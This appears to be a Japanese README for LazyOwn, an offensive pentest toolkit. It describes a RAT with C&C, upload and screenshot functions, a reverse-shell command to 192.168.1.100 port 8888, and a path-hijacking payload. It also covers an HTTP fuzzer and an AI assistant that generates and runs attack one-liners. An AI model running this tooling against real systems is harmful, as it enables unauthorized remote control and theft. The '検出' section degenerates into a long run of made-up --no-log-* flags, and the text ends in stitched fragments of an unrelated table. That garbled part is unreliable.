ペイロードで設定されたbinary_nameという名前のファイルが/tmpに作成され、メモリ内でgzipにより初期化され、ペイロード内でbashを使用します。JSONからペイロードを設定するには、payloadコマンドを使用して実行します。使用法:```sh
lazypathhijacking

LazyOwn RATはシンプルながら強力なリモート管理ツールです。サーバーの画面をキャプチャするスクリーンショット機能、侵害されたマシンにファイルをアップロードできるアップロードコマンド、そしてサーバーにコマンドを送信できるC&Cモードを備えています。クライアントモードとサーバーモードの2つのモードで動作します。難読化は施されておらず、このRATはBasicRatをベースにしています。GitHubの https://github.com/awesome-security/basicRAT および https://github.com/hash3liZer/SillyRAT で見つけることができます。後者の方がはるかに包括的ですが、私はスクリーンショットのキャプチャ、ファイルのアップロード、コマンドの送信だけを実装したかったのです。おそらく将来的にはウェブカメラの表示機能も追加するでしょうが、それはまた後でになります。```sh usage: lazyownserver.py [-h] [--host HOST] [--port PORT] --key KEY lazyownserver.py: error: the following arguments are required: --key
usage: lazyownclient.py [-h] --host HOST --port PORT --key KEY lazyownclient.py: error: the following arguments are required: --host, --port, --key
LazyOwn> run lazyownclient [?] lhost and lport and rat_key must be set
LazyOwn> run lazyownserver [?] rhost and lport and rat_key must be set
luego los comandos son:
upload /path/to/file donwload /path/to/file screenshot sysinfo fix_xauth #to fix xauth xD lazyownreverse 192.168.1.100 8888 #Reverse shell to 192.168.1.100 on port 8888 ready to C&C

## Lazy Meta Extract0r モードの使用
LazyMeta Extract0r は、PDF、DOCX、OLE ファイル(DOC や XLS など)、およびいくつかの画像形式(JPG、JPEG、TIFF)を含むさまざまな種類のファイルからメタデータを抽出するために設計されたツールです。このツールは指定されたディレクトリを走査し、互換性のある拡張子を持つファイルを検索し、メタデータを抽出して出力ファイルに保存します。
[*] Iniciando: LazyMeta extract0r [;,;]
usage: lazyown_metaextract0r.py [-h] --path PATH
lazyown_metaextract0r.py: error: the following arguments are required: --path```sh
python3 lazyown_metaextract0r.py --path /home/user

もちろん、キーを持っていればファイルを暗号化し、復号化することもできる暗号化方式です。
```sh
encrypt path/to/file key # to encrypt
decrypt path/to/file.enc key #to decrypt
## Uso modo LazyNmap

Lazynmap の使用は、この場合は 127.0.0.1 を対象に、Nmap を使用した自動化スクリプトを提供します。このスクリプトは sudo による管理者権限を必要とします。また、現在いる IP セグメントに何が存在するかを識別するためのネットワークディスカバリモジュールも含まれています。さらに、このスクリプトはエイリアス nmap を使用するか、コマンド run lazynmap でパラメータなしで呼び出すことができるようになりました。
```sh
./lazynmap.sh -t 127.0.0.1 # or in the cli just nmap
LazyOwn GPT One Liner CLIアシスタントでペネトレーションテストタスクの自動化における革命を体験してください!この素晴らしいスクリプトはLazyOwnツールスイートの一部であり、ペネトレーションテスターとしてのあなたの生活をより効率的で生産的にするために設計されています。
主な機能:
インテリジェントな自動化: Groqの力と高度な自然言語モデルを活用し、あなたの特定のニーズに基づいて正確で効率的なコマンドを生成します。 ユーザーフレンドリーなインターフェース: シンプルなプロンプトで、アシスタントがワンライナー スクリプトを生成して実行し、複雑なコマンドの作成にかかる時間と労力を大幅に削減します。 継続的な改善: 知識ベースを継続的に変換および最適化し、各状況に適応しながら最適なソリューションを提供します。 簡素化されたデバッグ: デバッグモードを有効にすると、各ステップで詳細な情報を取得でき、エラーの特定と修正が容易になります。 シームレスな統合: ワークスペース内で手間なく動作し、Groq APIの力を活用して迅速かつ正確な応答を提供します。 セキュリティと制御:
安全なエラー処理: 実行エラーをインテリジェントに検出して対応し、生成された各コマンドを完全に制御できるようにします。 制御された実行: コマンドを実行する前に確認を求めるため、システム上で何が実行されているかを正確に把握でき、安心できます。 簡単な設定:
APIキーを数秒で設定し、LazyOwn GPT One Liner CLIアシスタントが提供するすべての利点を享受し始めましょう。この強力なツールの設定と可能性を最大限に引き出すためのクイックスタートガイドが用意されています。
ペネトレーションテスターと開発者に最適:
プロセスの最適化: セキュリティ監査におけるコマンド生成を簡素化し、加速します。 継続的な学習: 知識ベースは常に更新および改善され、常に最新のベストプラクティスとソリューションを提供します。 LazyOwn GPT One Liner CLIアシスタントで、作業方法を変革し、より迅速、効率的、かつ安全にしましょう。反復的で複雑なタスクに時間を浪費するのをやめ、本当に重要なこと、つまり脆弱性の発見と解決に集中してください!
LazyOwnでペネトレーションテストの革命に参加し、生産性を次のレベルに引き上げましょう!
[?] 使用法: python lazygptcli.py --prompt "" [--debug]
[?] オプション:
--prompt "プログラミングタスクのプロンプト (必須)。" --debug, -d "デバッグメッセージを表示するデバッグモードを有効にします。" --transform "Groqを使用して元の知識ベースを強化されたベースに変換します。" [?] スクリプトを実行する前にAPIキーを設定してください: export GROQ_API_KEY=<your_api_key> [->] アクセス: https://console.groq.com/docs/quickstart (スポンサーリンクではありません)
要件:
Python 3.x 有効なGroq APIキー Groq APIキーを取得する手順: Groq Console (https://console.groq.com/docs/quickstart) にアクセスして登録し、APIキーを取得します。```sh export GROQ_API_KEY=<tu_api_key> python3 lazygptcli.py --prompt "" [--debug]

## lazyown_bprfuzzer.py の使用方法
スクリプトの要求に従って引数を指定してください。スクリプトは以下の引数を必要とします:
usage: lazyown_bprfuzzer.py [-h] --url URL [--method METHOD] [--headers HEADERS] [--params PARAMS] [--data DATA] [--json_data JSON_DATA]
[--proxy_port PROXY_PORT] [-w WORDLIST] [-hc HIDE_CODE]
--url: リクエストの送信先 URL(必須)。
--method: 使用する HTTP メソッド(GET や POST など)(任意、デフォルト: GET)。
--headers: JSON 形式のリクエストヘッダー(任意、デフォルト: {})。
--params: JSON 形式の URL パラメータ(任意、デフォルト: {})。
--data: JSON 形式のフォームデータ(任意、デフォルト: {})。
--json_data: JSON 形式のリクエスト用 JSON データ(任意、デフォルト: {})。
--proxy_port: 内部プロキシのポート(任意、デフォルト: 8080)。
-w, --wordlist: ファジングモード用のワードリストへのパス(任意)。
-hc, --hide_code: 出力で非表示にする HTTP ステータスコード(任意)。
スクリプトが正しく動作するよう、必要な引数を必ず指定してください。```sh
python3 lazyown_bprfuzzer.py --url "http://example.com" --method POST --headers '{"Content-Type": "LAZYFUZZ"}'
フォーム2: 高度な使用法
リクエストリプレイやファジングなど、スクリプトの高度な機能を活用したい場合は、以下の手順に従ってください:
リクエストリプレイ:
リクエストリプレイ機能を利用するには、前述のとおり引数を指定します。 実行中、スクリプトはリクエストを繰り返すかどうかを尋ねます。繰り返す場合は「y」を、リピーターを終了する場合は「n」を入力します。 ファジング:
ファジング機能を使用するには、-w または --wordlist 引数でワードリストを指定してください。
スクリプトは URL やその他のデータ内の LAZYFUZZ という単語を、指定されたワードリストの単語に置き換えます。
実行中、スクリプトは各ファジング反復の結果を表示します。
これらが lazyburp.py スクリプトの基本的および高度な使用方法です。ニーズに応じて、特定の状況に最適な方法を選択できます。```sh
python3 lazyown_bprfuzzer.py \ ─╯
--url "http://127.0.0.1:80/LAZYFUZZ"
--method POST
--headers '{"User-Agent": "LAZYFUZZ"}'
--params '{"param1": "value1", "param2": "LAZYFUZZ"}'
--data '{"key1": "LAZYFUZZ", "key2": "value2"}'
--json_data '{"key3": "LAZYFUZZ"}'
--proxy_port 8080
-w /usr/share/seclist/SecLists-master/Discovery/Variables/awesome-environment-variable-names.txt
-hc 501
## 検出
- **`--detect`** を指定して実行すると、検出のみが実行されます。
- 検出結果は `--output` で指定したディレクトリに保存されます。
- 検出結果は `--format` で指定した形式で保存されます。
- 検出結果は `--verbose` を指定すると詳細が表示されます。
- 検出結果は `--quiet` を指定すると抑制されます。
- 検出結果は `--no-color` を指定すると色付けが無効になります。
- 検出結果は `--no-banner` を指定するとバナーが非表示になります。
- 検出結果は `--no-progress` を指定するとプログレスバーが非表示になります。
- 検出結果は `--no-summary` を指定するとサマリーが非表示になります。
- 検出結果は `--no-findings` を指定すると検出結果が非表示になります。
- 検出結果は `--no-errors` を指定するとエラーが非表示になります。
- 検出結果は `--no-warnings` を指定すると警告が非表示になります。
- 検出結果は `--no-info` を指定すると情報が非表示になります。
- 検出結果は `--no-debug` を指定するとデバッグ情報が非表示になります。
- 検出結果は `--no-trace` を指定するとトレース情報が非表示になります。
- 検出結果は `--no-log` を指定するとログが非表示になります。
- 検出結果は `--no-log-file` を指定するとログファイルが非表示になります。
- 検出結果は `--no-log-format` を指定するとログ形式が非表示になります。
- 検出結果は `--no-log-level` を指定するとログレベルが非表示になります。
- 検出結果は `--no-log-output` を指定するとログ出力が非表示になります。
- 検出結果は `--no-log-color` を指定するとログの色付けが無効になります。
- 検出結果は `--no-log-time` を指定するとログの時刻が非表示になります。
- 検出結果は `--no-log-date` を指定するとログの日付が非表示になります。
- 検出結果は `--no-log-source` を指定するとログのソースが非表示になります。
- 検出結果は `--no-log-message` を指定するとログのメッセージが非表示になります。
- 検出結果は `--no-log-context` を指定するとログのコンテキストが非表示になります。
- 検出結果は `--no-log-stack` を指定するとログのスタックトレースが非表示になります。
- 検出結果は `--no-log-json` を指定するとログのJSON出力が非表示になります。
- 検出結果は `--no-log-yaml` を指定するとログのYAML出力が非表示になります。
- 検出結果は `--no-log-xml` を指定するとログのXML出力が非表示になります。
- 検出結果は `--no-log-csv` を指定するとログのCSV出力が非表示になります。
- 検出結果は `--no-log-tsv` を指定するとログのTSV出力が非表示になります。
- 検出結果は `--no-log-html` を指定するとログのHTML出力が非表示になります。
- 検出結果は `--no-log-markdown` を指定するとログのMarkdown出力が非表示になります。
- 検出結果は `--no-log-text` を指定するとログのテキスト出力が非表示になります。
- 検出結果は `--no-log-table` を指定するとログのテーブル出力が非表示になります。
- 検出結果は `--no-log-tree` を指定するとログのツリー出力が非表示になります。
- 検出結果は `--no-log-list` を指定するとログのリスト出力が非表示になります。
- 検出結果は `--no-log-raw` を指定するとログの生出力が非表示になります。
- 検出結果は `--no-log-jsonl` を指定するとログのJSONL出力が非表示になります。
- 検出結果は `--no-log-ndjson` を指定するとログのNDJSON出力が非表示になります。
- 検出結果は `--no-log-json5` を指定するとログのJSON5出力が非表示になります。
- 検出結果は `--no-log-hjson` を指定するとログのHJSON出力が非表示になります。
- 検出結果は `--no-log-toml` を指定するとログのTOML出力が非表示になります。
- 検出結果は `--no-log-ini` を指定するとログのINI出力が非表示になります。
- 検出結果は `--no-log-properties` を指定するとログのプロパティ出力が非表示になります。
- 検出結果は `--no-log-env` を指定するとログの環境変数出力が非表示になります。
- 検出結果は `--no-log-shell` を指定するとログのシェル出力が非表示になります。
- 検出結果は `--no-log-powershell` を指定するとログのPowerShell出力が非表示になります。
- 検出結果は `--no-log-bash` を指定するとログのBash出力が非表示になります。
- 検出結果は `--no-log-zsh` を指定するとログのZsh出力が非表示になります。
- 検出結果は `--no-log-fish` を指定するとログのFish出力が非表示になります。
- 検出結果は `--no-log-cmd` を指定するとログのCMD出力が非表示になります。
- 検出結果は `--no-log-batch` を指定するとログのバッチ出力が非表示になります。
- 検出結果は `--no-log-vbs` を指定するとログのVBS出力が非表示になります。
- 検出結果は `--no-log-ps1` を指定するとログのPS1出力が非表示になります。
- 検出結果は `--no-log-sh` を指定するとログのSH出力が非表示になります。
- 検出結果は `--no-log-py` を指定するとログのPython出力が非表示になります。
- 検出結果は `--no-log-rb` を指定するとログのRuby出力が非表示になります。
- 検出結果は `--no-log-pl` を指定するとログのPerl出力が非表示になります。
- 検出結果は `--no-log-php` を指定するとログのPHP出力が非表示になります。
- 検出結果は `--no-log-js` を指定するとログのJavaScript出力が非表示になります。
- 検出結果は `--no-log-ts` を指定するとログのTypeScript出力が非表示になります。
- 検出結果は `--no-log-java` を指定するとログのJava出力が非表示になります。
- 検出結果は `--no-log-go` を指定するとログのGo出力が非表示になります。
- 検出結果は `--no-log-rust` を指定するとログのRust出力が非表示になります。
- 検出結果は `--no-log-c` を指定するとログのC出力が非表示になります。
- 検出結果は `--no-log-cpp` を指定するとログのC++出力が非表示になります。
- 検出結果は `--no-log-csharp` を指定するとログのC#出力が非表示になります。
- 検出結果は `--no-log-fsharp` を指定するとログのF#出力が非表示になります。
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classificationprovenancesource_fileline_nocaptured_at| ペネトレーションテストレポートにおける保管連鎖に必要。 |
| 鮮度注釈 | JSON SITREPおよび target_context 内のすべてのエビデンスファイルは、freshness_threshold_seconds (デフォルト7日、呼び出しごとに設定可能) を超えると age_seconds、age_human、stale=true を持つ。 | エージェントが古い偵察エビデンスの上でエクスプロイトするのを防ぐ。 |
lazy=FalseDynamicAliasResolver、cli/aliases.py |